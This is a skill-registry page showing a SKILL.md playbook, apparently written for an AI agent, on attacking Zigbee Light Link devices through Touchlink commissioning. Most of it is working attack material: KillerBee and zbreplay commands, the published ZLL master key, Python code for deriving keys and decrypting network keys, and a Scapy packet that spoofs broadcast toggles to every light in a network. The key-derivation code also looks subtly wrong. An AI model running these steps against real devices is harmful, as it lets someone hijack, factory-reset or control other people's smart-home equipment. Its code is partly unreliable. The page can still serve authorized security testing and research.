CtrlK
BlogDocsLog inGet started
Tessl Logo

zigbee-touchlink

Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.

60

Quality

71%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md
SKILL.md
Quality
Evals
Security

Zigbee Touchlink Commissioning Abuse

Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism intended for close-proximity pairing (≤20 cm). The procedure relies on a well-known, publicly documented transport key (ZLL Master Key published in the ZigBee Light Link spec). In practice it works at distances of several metres with a directional antenna, allowing an attacker to steal devices off an existing coordinator, factory-reset smart bulbs, or inject ZCL commands without joining the network.

Prerequisites

  • Hardware: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based). For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.
  • Firmware options:
    • Sniffer: flash CC2531_sniffer.hex / cc2652_sniffer.hex (TI) — Wireshark source, passive.
    • Attack: flash coordinator_20230507.hex from Z-Stack 3.x — gives full TX.
  • Software: KillerBee suite, Scapy with scapy-radio, Python 3.x.
# Install KillerBee (Debian/Kali):
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
# Confirm dongle detected:
zbid

Phase 1: Passive Channel Scan (zbstumbler)

# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt

# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap

# Live in Wireshark with the ZEP plugin:
wireshark -k -i lo  # after running zbwireshark -i /dev/ttyUSB0 -c 15

Key fields to identify in pcap:

  • Frame Control = 0x8841 (Data, ZigBee, PAN compress)
  • Cluster ID = 0x1000 (ZLL Commissioning cluster)
  • Command ID = 0x00 (Scan Request), 0x01 (Scan Response), 0x07 (Touchlink Reset)

Phase 2: Decode the ZLL Well-Known Transport Key

The ZLL Master Key (published in Zigbee spec 11-0037-10) is:

ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D

Derive per-device transport key:

from Crypto.Cipher import AES

ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")

def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
    """
    ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
    Per ZigBee Lighting Profile spec section 8.7.
    """
    data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
                                        b'\x00' * 8 + b'\x00' * 8))
    cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
    return cipher.encrypt(data)

# transaction_id and response_id come from the Scan Request / Scan Response frames.

Phase 3: Touchlink Scan + Factory Reset

KillerBee includes zbtouchlink (or use the custom script below):

# Send Touchlink Scan Requests on all channels and listen for responses.
# A device that responds is susceptible to touchlink commands.
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper

# Zigbee channel to target (scan 11-26 in production):
CHANNEL = 15
IFACE = "/dev/ttyUSB0"

kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()

print(f"[*] Listening on channel {CHANNEL}...")
while True:
    frame = kb.pnext()
    if frame and frame[0]:
        data = frame[0]
        # Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)
        if len(data) > 20:
            print(f"[+] Frame: {data.hex()}")
EOF

Factory reset via zbreplay / custom ZLL Reset-to-factory-new:

# zbreplay replays a captured factory-reset frame at a target device.
# Capture a legitimate Touchlink reset first, then replay.
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap

# Or use zbfind to locate the device before resetting:
zbfind -i /dev/ttyUSB0 -c 15

Phase 4: ZCL Command Injection (no network join required)

ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast with the source address spoofed. No association to the PAN is required for broadcast delivery on 802.15.4.

from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
# scapy-zigbee or scapy-radio needed for ZigBee layers

# Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF):
pkt = (
    Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
            dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) /
    ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,
              destination=0xFFFF, source=0x1234, radius=1) /
    ZigbeeAppDataPayload(frametype=1, cluster=0x0006,
                         profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) /
    bytes([0x01, 0x00, 0x02])  # ZCL: frame ctrl, seq, cmd=Toggle
)
# send via scapy raw socket on the 802.15.4 interface

Known ZCL attack payloads:

ClusterCommandEffect
0x0006 On/Off0x02 ToggleFlip all lights
0x0008 Level Control0x00 Move to LevelSet brightness 0 (lights off)
0x0003 Identify0x00 IdentifyBlink device — confirms target
0x0300 Color Control0x07 Move to Color TempAlter scene

Phase 5: Network Key Extraction via Touchlink

If a Touchlink inter-PAN key transport message is captured, the encrypted NWK key can be decrypted using the derived transport key:

from Crypto.Cipher import AES

def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:
    cipher = AES.new(transport_key, AES.MODE_ECB)
    # ZLL key transport uses AES-ECB on the 16-byte encrypted key material.
    return cipher.decrypt(encrypted_key)

With the plaintext NWK key, decrypt all subsequent traffic in Wireshark:

  • Edit → Preferences → Protocols → ZigBee → Add decryption key.

Evidence

EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zigbee_ch15.pcap "$EVIDENCE/"
cp /tmp/zigbee_stumble.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
    kind="finding",
    label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}",
    props={
        "key": f"zigbee-touchlink::{pan_id}",
        "pan_id": pan_id,
        "channel": channel,
        "nwk_key_hex": nwk_key.hex() if nwk_key else None,
        "touchlink_reset_success": True,
        "source": "killerbee+scapy",
    },
)

OPSEC Notes

  • Factory-reset is destructive and visible — the device drops off the coordinator immediately. Only perform when explicitly authorized.
  • ZCL broadcast toggle is detectable by the coordinator as spurious traffic from an unregistered source address.
  • Passive sniffing (zbdump) has zero RF footprint beyond receive.
  • Touchlink operates in inter-PAN mode: you do NOT need to join the target's PAN to send or receive ZLL commissioning frames.
  • Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11 (2.405 GHz) is common for home automation. Always scan 11-26.

References

  • KillerBee: https://github.com/riverloopsec/killerbee
  • Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10.
  • Ronen et al. "IoT Goes Nuclear" (2016) — Hue worm via Touchlink at 100m range.
  • Sonoff Zigbee 3.0 Dongle-E firmware: https://github.com/Koenkk/Z-Stack-firmware
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.